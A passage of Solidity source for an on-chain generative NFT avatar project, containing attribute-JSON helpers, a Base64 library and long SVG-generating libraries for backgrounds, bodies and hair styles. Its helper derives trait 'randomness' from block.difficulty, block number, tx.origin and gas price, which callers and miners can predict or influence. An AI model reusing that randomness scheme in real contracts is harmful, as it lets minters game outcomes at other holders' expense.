getJsonAttribute("Accessory", AccessoryDetail.getItemNameById(params.accessory), false), getJsonAttribute("Earrings", EarringsDetail.getItemNameById(params.earring), false), getJsonAttribute("Mask", MaskDetail.getItemNameById(params.mask), false), getJsonAttribute("Background", BackgroundDetail.getItemNameById(params.background), false), getJsonAttribute("Original", params.original ? "true" : "false", true), "]" ) ) ); } /// @dev Get the json attribute as /// { /// "trait_type": "Skin", /// "value": "Human" /// } function getJsonAttribute( string memory trait, string memory value, bool end ) private pure returns (string memory json) { return string(abi.encodePacked('{ "trait_type" : "', trait, '", "value" : "', value, '" }', end ? "" : ",")); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; pragma abicoder v2; import "@openzeppelin/contracts/utils/Strings.sol"; import "@openzeppelin/contracts/utils/math/SafeCast.sol"; /// @title Helper for details generation library DetailHelper { /// @notice Call the library item function /// @param lib The library address /// @param id The item ID function getDetailSVG(address lib, uint8 id) internal view returns (string memory) { (bool success, bytes memory data) = lib.staticcall( abi.encodeWithSignature(string(abi.encodePacked("item_", Strings.toString(id), "()"))) ); require(success); return abi.decode(data, (string)); } /// @notice Generate a random number and return the index from the /// corresponding interval. /// @param max The maximum value to generate /// @param seed Used for the initialization of the number generator /// @param intervals the intervals /// @param selector Caller selector /// @param tokenId the current tokenId function generate( uint256 max, uint256 seed, uint256[] memory intervals, bytes4 selector, uint256 tokenId ) internal view returns (uint8) { uint256 generated = generateRandom(max, seed, tokenId, selector); return pickItems(generated, intervals); } /// @notice Generate random number between 1 and max /// @param max Maximum value of the random number /// @param seed Used for the initialization of the number generator /// @param tokenId Current tokenId used as seed /// @param selector Caller selector used as seed function generateRandom( uint256 max, uint256 seed, uint256 tokenId, bytes4 selector ) private view returns (uint256) { return (uint256( keccak256( abi.encodePacked(block.difficulty, block.number, tx.origin, tx.gasprice, selector, seed, tokenId) ) ) % (max + 1)) + 1; } /// @notice Pick an item for the given random value /// @param val The random value /// @param intervals The intervals for the corresponding items /// @return the item ID where : intervals[] index + 1 = item ID function pickItems(uint256 val, uint256[] memory intervals) internal pure returns (uint8) { for (uint256 i; i < intervals.length; i++) { if (val > intervals[i]) { return SafeCast.toUint8(i + 1); } } revert("DetailHelper::pickItems: No item"); } } // SPDX-License-Identifier: MIT /// @title Base64 /// @author Brecht Devos - <[email protected]> /// @notice Provides a function for encoding some bytes in base64 library Base64 { string internal constant TABLE = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'; function encode(bytes memory data) internal pure returns (string memory) { if (data.length == 0) return ''; // load the table into memory string memory table = TABLE; // multiply by 4/3 rounded up uint256 encodedLen = 4 * ((data.length + 2) / 3); // add some extra buffer at the end required for the writing string memory result = new string(encodedLen + 32); assembly { // set the actual output length mstore(result, encodedLen) // prepare the lookup table let tablePtr := add(table, 1) // input ptr let dataPtr := data let endPtr := add(dataPtr, mload(data)) // result ptr, jump over length let resultPtr := add(result, 32) // run over the input, 3 bytes at a time for {} lt(dataPtr, endPtr) {} { dataPtr := add(dataPtr, 3) // read 3 bytes let input := mload(dataPtr) // write 4 characters mstore(resultPtr, shl(248, mload(add(tablePtr, and(shr(18, input), 0x3F))))) resultPtr := add(resultPtr, 1) mstore(resultPtr, shl(248, mload(add(tablePtr, and(shr(12, input), 0x3F))))) resultPtr := add(resultPtr, 1) mstore(resultPtr, shl(248, mload(add(tablePtr, and(shr( 6, input), 0x3F))))) resultPtr := add(resultPtr, 1) mstore(resultPtr, shl(248, mload(add(tablePtr, and( input, 0x3F))))) resultPtr := add(resultPtr, 1) } // padding with '=' switch mod(mload(data), 3) case 1 { mstore(sub(resultPtr, 2), shl(240, 0x3d3d)) } case 2 { mstore(sub(resultPtr, 1), shl(248, 0x3d)) } } return result; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; pragma abicoder v2; import "base64-sol/base64.sol"; /// @title Background SVG generator library BackgroundDetail { /// @dev background N°1 => Ordinary function item_1() public pure returns (string memory) { return base("636363", "CFCFCF", "ABABAB"); } /// @dev background N°2 => Unusual function item_2() public pure returns (string memory) { return base("004A06", "61E89B", "12B55F"); } /// @dev background N°3 => Surprising function item_3() public pure returns (string memory) { return base("1A4685", "6BF0E3", "00ADC7"); } /// @dev background N°4 => Impressive function item_4() public pure returns (string memory) { return base("380113", "D87AE6", "8A07BA"); } /// @dev background N°5 => Extraordinary function item_5() public pure returns (string memory) { return base("A33900", "FAF299", "FF9121"); } /// @dev background N°6 => Phenomenal function item_6() public pure returns (string memory) { return base("000000", "C000E8", "DED52C"); } /// @dev background N°7 => Artistic function item_7() public pure returns (string memory) { return base("FF00E3", "E8E18B", "00C4AD"); } /// @dev background N°8 => Unreal function item_8() public pure returns (string memory) { return base("CCCC75", "54054D", "001E2E"); } /// @notice Return the background name of the given id /// @param id The background Id function getItemNameById(uint8 id) public pure returns (string memory name) { name = ""; if (id == 1) { name = "Ordinary"; } else if (id == 2) { name = "Unusual"; } else if (id == 3) { name = "Surprising"; } else if (id == 4) { name = "Impressive"; } else if (id == 5) { name = "Extraordinary"; } else if (id == 6) { name = "Phenomenal"; } else if (id == 7) { name = "Artistic"; } else if (id == 8) { name = "Unreal"; } } /// @dev The base SVG for the backgrounds function base( string memory stop1, string memory stop2, string memory stop3 ) private pure returns (string memory) { return string( abi.encodePacked( '<g id="Background">', '<radialGradient id="gradient" cx="210" cy="-134.05" r="210.025" gradientTransform="matrix(1 0 0 -1 0 76)" gradientUnits="userSpaceOnUse">', "<style>", ".color-anim {animation: col 6s infinite;animation-timing-function: ease-in-out;}", "@keyframes col {0%,51% {stop-color:none} 52% {stop-color:#FFBAF7} 53%,100% {stop-color:none}}", "</style>", "<stop offset='0' class='color-anim' style='stop-color:#", stop1, "'/>", "<stop offset='0.66' style='stop-color:#", stop2, "'><animate attributeName='offset' dur='18s' values='0.54;0.8;0.54' repeatCount='indefinite' keyTimes='0;.4;1'/></stop>", "<stop offset='1' style='stop-color:#", stop3, "'><animate attributeName='offset' dur='18s' values='0.86;1;0.86' repeatCount='indefinite'/></stop>", abi.encodePacked( "</radialGradient>", '<path fill="url(#gradient)" d="M390,420H30c-16.6,0-30-13.4-30-30V30C0,13.4,13.4,0,30,0h360c16.6,0,30,13.4,30,30v360C420,406.6,406.6,420,390,420z"/>', '<path id="Border" opacity="0.4" fill="none" stroke="#FFFFFF" stroke-width="2" stroke-miterlimit="10" d="M383.4,410H36.6C21.9,410,10,398.1,10,383.4V36.6C10,21.9,21.9,10,36.6,10h346.8c14.7,0,26.6,11.9,26.6,26.6v346.8 C410,398.1,398.1,410,383.4,410z"/>', '<path id="Mask" opacity="0.1" fill="#48005E" d="M381.4,410H38.6C22.8,410,10,397.2,10,381.4V38.6 C10,22.8,22.8,10,38.6,10h342.9c15.8,0,28.6,12.8,28.6,28.6v342.9C410,397.2,397.2,410,381.4,410z"/>', "</g>" ) ) ); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; pragma abicoder v2; import "base64-sol/base64.sol"; /// @title Body SVG generator library BodyDetail { /// @dev Body N°1 => Human function item_1() public pure returns (string memory) { return base("FFEBB4", "FFBE94"); } /// @dev Body N°2 => Shadow function item_2() public pure returns (string memory) { return base("2d2d2d", "000000"); } /// @dev Body N°3 => Light function item_3() public pure returns (string memory) { return base("ffffff", "696969"); } /// @notice Return the skin name of the given id /// @param id The skin Id function getItemNameById(uint8 id) public pure returns (string memory name) { name = ""; if (id == 1) { name = "Human"; } else if (id == 2) { name = "Shadow"; } else if (id == 3) { name = "Light"; } } /// @dev The base SVG for the body function base(string memory skin, string memory shadow) private pure returns (string memory) { string memory pathBase = "<path fill-rule='evenodd' clip-rule='evenodd' fill='#"; string memory strokeBase = "' stroke='#000000' stroke-linecap='round' stroke-miterlimit='10'"; return string( abi.encodePacked( '<g id="Body">', pathBase, skin, strokeBase, " d='M177.1,287.1c0.8,9.6,0.3,19.3-1.5,29.2c-0.5,2.5-2.1,4.7-4.5,6c-15.7,8.5-41.1,16.4-68.8,24.2c-7.8,2.2-9.1,11.9-2,15.7c69,37,140.4,40.9,215.4,6.7c6.9-3.2,7-12.2,0.1-15.4c-21.4-9.9-42.1-19.7-53.1-26.2c-2.5-1.5-4-3.9-4.3-6.5c-0.7-7.4-0.9-16.1-0.3-25.5c0.7-10.8,2.5-20.3,4.4-28.2'/>", abi.encodePacked( pathBase, shadow, "' d='M177.1,289c0,0,23.2,33.7,39.3,29.5s40.9-20.5,40.9-20.5c1.2-8.7,2.4-17.5,3.5-26.2c-4.6,4.7-10.9,10.2-19,15.3c-10.8,6.8-21,10.4-28.5,12.4L177.1,289z'/>", pathBase, skin, strokeBase, " d='M301.3,193.6c2.5-4.6,10.7-68.1-19.8-99.1c-29.5-29.9-96-34-128.1-0.3s-23.7,105.6-23.7,105.6s12.4,59.8,24.2,72c0,0,32.3,24.8,40.7,29.5c8.4,4.8,16.4,2.2,16.4,2.2c15.4-5.7,25.1-10.9,33.3-17.4'/>", pathBase ), skin, strokeBase, " d='M141.8,247.2c0.1,1.1-11.6,7.4-12.9-7.1c-1.3-14.5-3.9-18.2-9.3-34.5s9.1-8.4,9.1-8.4'/>", abi.encodePacked( pathBase, skin, strokeBase, " d='M254.8,278.1c7-8.6,13.9-17.2,20.9-25.8c1.2-1.4,2.9-2.1,4.6-1.7c3.9,0.8,11.2,1.2,12.8-6.7c2.3-11,6.5-23.5,12.3-33.6c3.2-5.7,0.7-11.4-2.2-15.3c-2.1-2.8-6.1-2.7-7.9,0.2c-2.6,4-5,7.9-7.6,11.9'/>", "<polygon fill-rule='evenodd' clip-rule='evenodd' fill='#", skin, "' points='272,237.4 251.4,270.4 260.9,268.6 276.9,232.4'/>", "<path d='M193.3,196.4c0.8,5.1,1,10.2,1,15.4c0,2.6-0.1,5.2-0.4,7.7c-0.3,2.6-0.7,5.1-1.3,7.6h-0.1c0.1-2.6,0.3-5.1,0.4-7.7c0.2-2.5,0.4-5.1,0.6-7.6c0.1-2.6,0.2-5.1,0.1-7.7C193.5,201.5,193.4,198.9,193.3,196.4L193.3,196.4z'/>", "<path fill='#", shadow ), "' d='M197.8,242.8l-7.9-3.5c-0.4-0.2-0.5-0.7-0.2-1.1l3.2-3.3c0.4-0.4,1-0.5,1.5-0.3l12.7,4.6c0.6,0.2,0.6,1.1-0.1,1.3l-8.7,2.4C198.1,242.9,197.9,242.9,197.8,242.8z'/>", "</g>" ) ); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; pragma abicoder v2; import "base64-sol/base64.sol"; import "./constants/Colors.sol"; /// @title Hair SVG generator library HairDetail { /// @dev Hair N°1 => Classic Brown function item_1() public pure returns (string memory) { return base(classicHairs(Colors.BROWN)); } /// @dev Hair N°2 => Classic Black function item_2() public pure returns (string memory) { return base(classicHairs(Colors.BLACK)); } /// @dev Hair N°3 => Classic Gray function item_3() public pure returns (string memory) { return base(classicHairs(Colors.GRAY)); } /// @dev Hair N°4 => Classic White function item_4() public pure returns (string memory) { return base(classicHairs(Colors.WHITE)); } /// @dev Hair N°5 => Classic Blue function item_5() public pure returns (string memory) { return base(classicHairs(Colors.BLUE)); } /// @dev Hair N°6 => Classic Yellow function item_6() public pure returns (string memory) { return base(classicHairs(Colors.YELLOW)); } /// @dev Hair N°7 => Classic Pink function item_7() public pure returns (string memory) { return base(classicHairs(Colors.PINK)); } /// @dev Hair N°8 => Classic Red function item_8() public pure returns (string memory) { return base(classicHairs(Colors.RED)); } /// @dev Hair N°9 => Classic Purple function item_9() public pure returns (string memory) { return base(classicHairs(Colors.PURPLE)); } /// @dev Hair N°10 => Classic Green function item_10() public pure returns (string memory) { return base(classicHairs(Colors.GREEN)); } /// @dev Hair N°11 => Classic Saiki function item_11() public pure returns (string memory) { return base(classicHairs(Colors.SAIKI)); } /// @dev Hair N°12 => Classic 2 Brown function item_12() public pure returns (string memory) { return base(classicTwoHairs(Colors.BROWN)); } /// @dev Hair N°13 => Classic 2 Black function item_13() public pure returns (string memory) { return base(classicTwoHairs(Colors.BLACK)); } /// @dev Hair N°14 => Classic 2 Gray function item_14() public pure returns (string memory) { return base(classicTwoHairs(Colors.GRAY)); } /// @dev Hair N°15 => Classic 2 White function item_15() public pure returns (string memory) { return base(classicTwoHairs(Colors.WHITE)); } /// @dev Hair N°16 => Classic 2 Blue function item_16() public pure returns (string memory) { return base(classicTwoHairs(Colors.BLUE)); } /// @dev Hair N°17 => Classic 2 Yellow function item_17() public pure returns (string memory) { return base(classicTwoHairs(Colors.YELLOW)); } /// @dev Hair N°18 => Classic 2 Pink function item_18() public pure returns (string memory) { return base(classicTwoHairs(Colors.PINK)); } /// @dev Hair N°19 => Classic 2 Red function item_19() public pure returns (string memory) { return base(classicTwoHairs(Colors.RED)); } /// @dev Hair N°20 => Classic 2 Purple function item_20() public pure returns (string memory) { return base(classicTwoHairs(Colors.PURPLE)); } /// @dev Hair N°21 => Classic 2 Green function item_21() public pure returns (string memory) { return base(classicTwoHairs(Colors.GREEN)); } /// @dev Hair N°22 => Classic 2 Saiki function item_22() public pure returns (string memory) { return base(classicTwoHairs(Colors.SAIKI)); } /// @dev Hair N°23 => Short Black function item_23() public pure returns (string memory) { return base(shortHairs(Colors.BLACK)); } /// @dev Hair N°24 => Short Blue function item_24() public pure returns (string memory) { return base(shortHairs(Colors.BLUE)); } /// @dev Hair N°25 => Short Pink function item_25() public pure returns (string memory) { return base(shortHairs(Colors.PINK)); } /// @dev Hair N°26 => Short White function item_26() public pure returns (string memory) { return base(shortHairs(Colors.WHITE)); } /// @dev Hair N°27 => Spike Black function item_27() public pure returns (string memory) { return base(spike(Colors.BLACK)); } /// @dev Hair N°28 => Spike Blue function item_28() public pure returns (string memory) { return base(spike(Colors.BLUE)); } /// @dev Hair N°29 => Spike Pink function item_29() public pure returns (string memory) { return base(spike(Colors.PINK)); } /// @dev Hair N°30 => Spike White function item_30() public pure returns (string memory) { return base(spike(Colors.WHITE)); } /// @dev Hair N°31 => Monk function item_31() public pure returns (string memory) { return base(monk()); } /// @dev Hair N°32 => Nihon function item_32() public pure returns (string memory) { return base( string( abi.encodePacked( monk(), '<path opacity="0.36" fill="#6E5454" stroke="#8A8A8A" stroke-width="0.5" stroke-miterlimit="10" d=" M287.5,206.8c0,0,0.1-17.4-2.9-20.3c-3.1-2.9-7.3-8.7-7.3-8.7s0.6-24.8-2.9-31.8c-3.6-7-3.9-24.3-35-23.6 c-30.3,0.7-42.5,5.4-42.5,5.4s-14.2-8.2-43-3.8c-19.3,4.9-17.2,50.1-17.2,50.1s-5.6,9.5-6.2,14.8c-0.6,5.3-0.3,8.3-0.3,8.3 S111,72.1,216.8,70.4c108.4-1.7,87.1,121.7,85.1,122.4C295.4,190.1,293.9,197.7,287.5,206.8z"/>', '<g opacity="0.33">', '<ellipse transform="matrix(0.7071 -0.7071 0.7071 0.7071 0.367 227.089)" fill="#FFFFFF" cx="274.3" cy="113.1" rx="1.4" ry="5.3"/>', '<ellipse transform="matrix(0.5535 -0.8328 0.8328 0.5535 32.4151 255.0608)" fill="#FFFFFF" cx="254.1" cy="97.3" rx="4.2" ry="16.3"/>', "</g>", '<path fill="#FFFFFF" stroke="#2B232B" stroke-miterlimit="10" d="M136.2,125.1c0,0,72,9.9,162.2,0c0,0,4.4,14.9,4.8,26.6 c0,0-125.4,20.9-172.6-0.3C129.5,151.3,132.9,130.3,136.2,125.1z"/>', '<polygon fill="#FFFFFF" stroke="#2B232B" stroke-miterlimit="10" points="306.2,138 324.2,168.1 330,160"/>', '<path fill="#FFFFFF" stroke="#2B232B" stroke-miterlimit="10" d="M298.4,125.1l34.2,54.6l-18,15.5l-10.7-43.5 C302.3,142.2,299.9,128.8,298.4,125.1z"/>', '<ellipse opacity="0.87" fill="#FF0039" cx="198.2" cy="144.1" rx="9.9" ry="10.8"/>' ) ) ); } /// @dev Hair N°33 => Bald function item_33() public pure returns (string memory) { return base( string( abi.encodePacked( '<ellipse transform="matrix(0.7071 -0.7071 0.7071 0.7071 0.1733 226.5807)" fill="#FFFFFF" cx="273.6" cy="113.1" rx="1.4" ry="5.3"/>', '<ellipse transform="matrix(0.5535 -0.8328 0.8328 0.5535 32.1174 254.4671)" fill="#FFFFFF" cx="253.4" cy="97.3" rx="4.2" ry="16.3"/>' ) ) ); } /// @dev Generate classic hairs with the given color function classicHairs(string memory hairsColor) private pure returns (string memory) { return string( abi.encodePacked( "<path fill='#", hairsColor, "' stroke='#000000' stroke-width='0.5' stroke-miterlimit='10' d='M252.4,71.8c0,0-15.1-13.6-42.6-12.3l15.6,8.8c0,0-12.9-0.9-28.4-1.3c-6.1-0.2-21.8,3.3-38.3-1.4c0,0,7.3,7.2,9.4,7.7c0,0-30.6,13.8-47.3,34.2c0,0,10.7-8.9,16.7-10.9c0,0-26,25.2-31.5,70c0,0,9.2-28.6,15.5-34.2c0,0-10.7,27.4-5.3,48.2c0,0,2.4-14.5,4.9-19.2c-1,14.1,2.4,33.9,13.8,47.8c0,0-3.3-15.8-2.2-21.9l8.8-17.9c0.1,4.1,1.3,8.1,3.1,12.3c0,0,13-36.1,19.7-43.9c0,0-2.9,15.4-1.1,29.6c0,0,6.8-23.5,16.9-36.8c0,0-4.6,15.6-2.7,31.9c0,0,9.4-26.2,10.4-28.2l-2.7,9.2c0,0,4.1,21.6,3.8,25.3c0,0,8.4-10.3,21.2-52l-2.9,12c0,0,9.8,20.3,10.3,22.2s-1.3-13.9-1.3-13.9s12.4,21.7,13.5,26c0,0,5.5-20.8,3.4-35.7l1.1,9.6c0,0,15,20.3,16.4,30.1s-0.1-23.4-0.1-23.4s13.8,30.6,17,39.4c0,0,1.9-17,1.4-19.4s8.5,34.6,4.4,46c0,0,11.7-16.4,11.5-21.4c1.4,0.8-1.3,22.6-4,26.3c0,0,3.2-0.3,8.4-9.3c0,0,11.1-13.4,11.8-11.7c0.7,1.7,1.8-2.9,5.5,10.2l2.6-7.6c0,0-0.4,15.4-3.3,21.4c0,0,14.3-32.5,10.4-58.7c0,0,3.7,9.3,4.4,16.9s3.1-32.8-7.7-51.4c0,0,6.9,3.9,10.8,4.8c0,0-12.6-12.5-13.6-15.9c0,0-14.1-25.7-39.1-34.6c0,0,9.3-3.2,15.6,0.2C286.5,78.8,271.5,66.7,252.4,71.8z'/>", '<path fill="none" stroke="#000000" stroke-width="0.5" stroke-miterlimit="10" d="M286,210c0,0,8.5-10.8,8.6-18.7"/>', '<path fill="none" stroke="#000000" stroke-width="0.5" stroke-linecap="round" stroke-miterlimit="10" d="M132.5,190.4c0,0-1.3-11.3,0.3-16.9"/>', '<path fill="none" stroke="#000000" stroke-width="0.5" stroke-linecap="round" stroke-miterlimit="10" d="M141.5,170c0,0-1-6.5,1.6-20.4"/>', '<path opacity="0.2" d="M267.7,151.7l-0.3,30.9c0,0,1.9-18.8,1.8-19.3s8.6,43.5,3.9,47.2c0,0,11.9-18.8,12.1-21.5s0,22-3.9,25c0,0,6-4.4,8.6-10.1c0,0,6.1-7,9.9-10.7c0,0,3.9-1,6.8,8.2l2.8-6.9c0,0,0.1,13.4-1.3,16.1c0,0,10.5-28.2,7.9-52.9c0,0,4.7,8.3,4.9,17.1c0.1,8.8,1.7-8.6,0.2-17.8c0,0-6.5-13.9-8.2-15.4c0,0,2.2,14.9,1.3,18.4c0,0-8.2-15.1-11.4-17.3c0,0,1.2,41-1.6,46.1c0,0-6.8-22.7-11.4-26.5c0,0,0.7,17.4-3.6,23.2C284.5,183.3,280.8,169.9,267.7,151.7z"/>', '<path opacity="0.2" d="M234.3,137.1c0,0,17.1,23.2,16.7,30.2s-0.2-13.3-0.2-13.3s-11.7-22-17.6-26.2L234.3,137.1z"/>', '<polygon opacity="0.2" points="250.7,143.3 267.5,162.9 267.3,181.9"/>', '<path opacity="0.2" d="M207.4,129.2l9.7,20.7l-1-13.7c0,0,11.6,21,13.5,25.4l1.4-5l-17.6-27.4l1,7.5l-6-12.6L207.4,129.2z"/>', '<path opacity="0.2" d="M209.2,118c0,0-13.7,36.6-18.5,40.9c-1.7-7.2-1.9-7.9-4.2-20.3c0,0-0.1,2.7-1.4,5.3c0.7,8.2,4.1,24.4,4,24.5S206.4,136.6,209.2,118z"/>', '<path opacity="0.2" d="M187.6,134.7c0,0-9.6,25.5-10,26.9l-0.4-3.6C177.1,158.1,186.8,135.8,187.6,134.7z"/>', '<path opacity="0.2" fill-rule="evenodd" clip-rule="evenodd" d="M180.7,129.6c0,0-16.7,22.3-17.7,24.2s0,12.4,0.3,12.8S165.9,153,180.7,129.6z"/>', '<path opacity="0.2" fill-rule="evenodd" clip-rule="evenodd" d="M180.4,130.6c0,0-0.2,20.5-0.6,21.5c-0.4,0.9-2.6,5.8-2.6,5.8S176.1,147.1,180.4,130.6z"/>', abi.encodePacked( '<path opacity="0.2" d="M163.9,138c0,0-16.3,25.3-17.9,26.3c0,0-3.8-12.8-3-14.7s-9.6,10.3-9.9,17c0,0-8.4-0.6-11-7.4c-1-2.5,1.4-9.1,2.1-12.2c0,0-6.5,7.9-9.4,22.5c0,0,0.6,8.8,1.1,10c0,0,3.5-14.8,4.9-17.7c0,0-0.3,33.3,13.6,46.7c0,0-3.7-18.6-2.6-21l9.4-18.6c0,0,2.1,10.5,3.1,12.3l13.9-33.1L163.9,138z"/>', '<path fill="#FFFFFF" d="M204,82.3c0,0-10.3,24.4-11.5,30.4c0,0,11.1-20.6,12.6-20.8c0,0,11.4,20.4,12,22.2C217.2,114.1,208.2,88.2,204,82.3z"/>', '<path fill="#FFFFFF" d="M185.6,83.5c0,0-1,29.2,0,39.2c0,0-4-21.4-3.6-25.5c0.4-4-13.5,19.6-16,23.9c0,0,7.5-20.6,10.5-25.8c0,0-14.4,9.4-22,21.3C154.6,116.7,170.1,93.4,185.6,83.5z"/>', '<path fill="#FFFFFF" d="M158.6,96.2c0,0-12,15.3-14.7,23.2"/>', '<path fill="#FFFFFF" d="M125.8,125.9c0,0,9.5-20.6,23.5-27.7"/>', '<path fill="#FFFFFF" d="M296.5,121.6c0,0-9.5-20.6-23.5-27.7"/>', '<path fill="#FFFFFF" d="M216.1,88.5c0,0,10.9,19.9,11.6,23.6s3.7-5.5-10.6-23.6"/>', '<path fill="#FFFFFF" d="M227,92c0,0,21.1,25.4,22,27.4s-4.9-23.8-12.9-29.5c0,0,9.5,20.7,9.9,21.9C246.3,113,233.1,94.1,227,92z"/>', '<path fill="#FFFFFF" d="M263.1,119.5c0,0-9.5-26.8-10.6-28.3s15.5,14.1,16.2,22.5c0,0-11.1-16.1-11.8-16.9C256.1,96,264.3,114.1,263.1,119.5z"/>' ) ) ); } /// @dev Generate classic 2 hairs with the given color function classicTwoHairs(string memory hairsColor) private pure returns (string memory) { return string( abi.encodePacked( "<polygon fill='#", hairsColor, "' points='188.2,124.6 198.3,128.1 211.2,124.3 197.8,113.2'/>", '<polygon opacity="0.5" points="188.4,124.7 198.3,128.1 211.7,124.2 197.7,113.6"/>', "<path fill='#", hairsColor, "' stroke='#000000' stroke-width='0.5' stroke-miterlimit='10' d='M274,209.6c1,0.9,10.1-12.8,10.5-18.3 c1.1,3.2-0.2,16.8-2.9,20.5c0,0,3.7-0.7,8.3-6.5c0,0,11.1-13.4,11.8-11.7c0.7,1.7,1.8-2.9,5.5,10.2l2.6-7.6 c0,0-0.4,15.4-3.3,21.4c0,0,14.3-32.5,10.4-58.7c0,0,3.7,9.3,4.4,16.9s3.1-32.8-7.7-51.4c0,0,6.9,3.9,10.8,4.8 c0,0-12.6-12.5-13.6-15.9c0,0-14.1-25.7-39.1-34.6c0,0,9.3-3.2,15.6,0.2c-0.1-0.1-15.1-12.2-34.2-7.1c0,0-15.1-13.6-42.6-12.3 l15.6,8.8c0,0-12.9-0.9-28.4-1.3c-6.1-0.2-21.8,3.3-38.3-1.4c0,0,7.3,7.2,9.4,7.7c0,0-30.6,13.8-47.3,34.2 c0,0,10.7-8.9,16.7-10.9c0,0-26,25.2-31.5,70c0,0,9.2-28.6,15.5-34.2c0,0-10.7,27.4-5.3,48.2c0,0,2.4-14.5,4.9-19.2 c-1,14.1,2.4,33.9,13.8,47.8c0,0-3.3-15.8-2.2-21.9l8.8-17.9c0.1,4.1,1.3,8.1,3.1,12.3c0,0,13-36.1,19.7-43.9 c0,0-2.9,15.4-1.1,29.6c0,0,7.2-26.8,17.3-40.1c0,0,0.8,0.1,17.6-7.6c6.3,3.1,8,1.4,17.9,7.7c4.1,5.3,13.8,31.9,15.6,41.5 c3.4-7.3,5.6-19,5.2-29.5c2.7,3.7,8.9,19.9,9.6,34.3c0,0,7.9-15.9,5.9-29c0-0.2,0.2,14.5,0.3,14.3c0,0,12.1,19.9,14.9,19.7 c0-0.8-1.7-12.9-1.7-12.8c1.3,5.8,2.8,23.3,3.1,27.1l5-9.5C276.2,184,276.8,204.9,274,209.6z'/>", '<path fill="none" stroke="#000000" stroke-width="0.5" stroke-miterlimit="10" d="M286.7,210c0,0,8.5-10.8,8.6-18.7"/>', '<path fill="none" stroke="#000000" stroke-width="0.5" stroke-linecap="round" stroke-miterlimit="10" d="M133.2,190.4 c0,0-1.3-11.3,0.3-16.9"/>', abi.encodePacked( '<path fill="none" stroke="#000000" stroke-width="0.5" stroke-linecap="round" stroke-miterlimit="10" d="M142.2,170 c0,0-1-6.5,1.6-20.4"/>', '<path opacity="0.2" fill-rule="evenodd" clip-rule="evenodd" d="M180.6,128.2 c0,0-15.9,23.7-16.9,25.6s0,12.4,0.3,12.8S165.8,151.6,180.6,128.2z"/>', '<path opacity="0.2" d="M164.6,138c0,0-16.3,25.3-17.9,26.3c0,0-3.8-12.8-3-14.7s-9.6,10.3-9.9,17 c0,0-8.4-0.6-11-7.4c-1-2.5,1.4-9.1,2.1-12.2c0,0-6.5,7.9-9.4,22.5c0,0,0.6,8.8,1.1,10c0,0,3.5-14.8,4.9-17.7 c0,0-0.3,33.3,13.6,46.7c0,0-3.7-18.6-2.6-21l9.4-18.6c0,0,2.1,10.5,3.1,12.3l13.9-33.1L164.6,138z"/>', '<path opacity="0.16" d="M253.3,155.9c0.8,4.4,8.1,12.1,13.1,11.7l1.6,11c0,0-5.2-3.9-14.7-19.9 V155.9z"/>', '<path opacity="0.16" d="M237.6,139.4c0,0,4.4,3,13.9,21.7c0,0-4.3,12-4.6,12.4 C246.6,173.9,248.5,162.8,237.6,139.4z"/>', '<path opacity="0.17" d="M221,136.7c0,0,5.2,4,14.4,23c0,0-1.2,4.6-3.1,8.9 C227.7,152.4,227.1,149.9,221,136.7z"/>', '<path opacity="0.2" d="M272.1,152.6c-2.4,8.1-3.6,13.8-4.9,17.9c0,0,1.3,12.8,2.1,22.2 c4.7-8.4,5.4-8.8,5.4-9c-0.1-0.5,3.6,11.2-0.7,25.9c1.6,1,13.3-16.9,11.9-20.6c-1-2.5-0.4,19.8-4.3,22.8c0,0,6.4-2.2,9-7.9 c0,0,6.1-7,9.9-10.7c0,0,3.9-1,6.8,8.2l2.8-6.9c0,0,0.1,13.4-1.3,16.1c0,0,10.5-28.2,7.9-52.9c0,0,4.7,8.3,4.9,17.1 c0.1,8.8,1.7-8.6,0.2-17.8c0,0-6.5-13.9-8.2-15.4c0,0,2.2,14.9,1.3,18.4c0,0-8.2-15.1-11.4-17.3c0,0,1.2,41-1.6,46.1 c0,0-6.8-22.7-11.4-26.5c0,0-1.8,15.7-5,22.9C283.7,183,280.5,166.7,272.1,152.6z"/>' ), abi.encodePacked( '<path opacity="0.14" d="M198.2,115.2c-0.9-3.9,3.2-35.1,34.7-36C227.6,78.5,198.9,99.8,198.2,115.2z"/>', '<g opacity="0.76">', '<path fill="#FFFFFF" d="M153,105.9c0,0-12,15.3-14.7,23.2"/>', '<path fill="#FFFFFF" d="M126.5,125.9c0,0,9.5-20.6,23.5-27.7"/>', '<path fill="#FFFFFF" d="M297.2,121.6c0,0-9.5-20.6-23.5-27.7"/>', '<path fill="#FFFFFF" d="M241.9,109.4c0,0,10.9,19.9,11.6,23.6s3.7-5.5-10.6-23.6"/>', '<path fill="#FFFFFF" d="M155.1,117.3c0,0-10.9,19.9-11.6,23.6s-3.7-5.5,10.6-23.6"/>', '<path fill="#FFFFFF" d="M256.1,101.5c0,0,21.1,25.4,22,27.4c0.9,2-4.9-23.8-12.9-29.5c0,0,9.5,20.7,9.9,21.9 C275.4,122.5,262.2,103.6,256.1,101.5z"/>', '<path fill="#FFFFFF" d="M230,138.5c0,0-12.9-24.9-14.1-26.4c-1.2-1.4,18.2,11.9,19.3,20.2c0,0-11.9-13-12.7-13.7 C221.8,117.9,230.9,133,230,138.5z"/>', '<path fill="#FFFFFF" d="M167,136.6c0,0,15.5-24.5,17-25.8c1.5-1.2-19.1,10.6-21.6,18.8c0,0,15-13.5,15.8-14.2 C179.2,114.8,166.8,130.9,167,136.6z"/>', "</g>" ) ) ); } /// @dev Generate mohawk with the given color function spike(string memory hairsColor) private pure returns (string memory) { return string( abi.encodePacked( "<path fill='#", hairsColor, "' d='M287.3,207.1c0,0-0.4-17.7-3.4-20.6c-3.1-2.9-7.3-8.7-7.3-8.7s0.6-24.8-2.9-31.8c-3.6-7-3.9-24.3-35-23.6c-30.3,0.7-42.5,5.4-42.5,5.4s-14.2-8.2-43-3.8c-19.3,4.9-17.2,50.1-17.2,50.1s-5.6,9.5-6.2,14.8c-0.6,5.3-0.3,8.3-0.3,8.3c0.9-0.2-19.1-126.3,86.7-126.8c108.4-0.3,87.1,121.7,85.1,122.4C294.5,191.6,293.7,198,287.3,207.1z'/>", '<path fill-rule="evenodd" clip-rule="evenodd" fill="#212121" stroke="#000000" stroke-miterlimit="10" 